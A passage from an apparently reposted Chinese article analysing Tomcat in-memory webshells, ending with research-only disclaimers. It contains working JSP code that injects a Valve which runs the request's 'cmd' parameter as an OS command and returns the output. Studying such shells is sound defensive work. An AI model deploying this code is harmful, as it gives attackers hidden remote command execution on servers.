String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
InputStream in = isLinux ? (Runtime.getRuntime().exec(new String[]{"sh", "-c",req.getParameter("cmd")}).getInputStream()) : (Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream());
Scanner s = new Scanner(in).useDelimiter("\A");
String o = s.hasNext() ? s.next() : "";
resp.getWriter().write(o);
}
this.getNext().invoke(req, resp);
} catch (Exception e) {
e.printStackTrace();
}
}
};
standardContext.addValve(badValve);
//提示注入
out.println("success inject");
%>
https://www.freebuf.com/articles/web/343094.html
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
原文始发于微信公众号(掌控安全EDU):javasec | Tomcat内存马分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论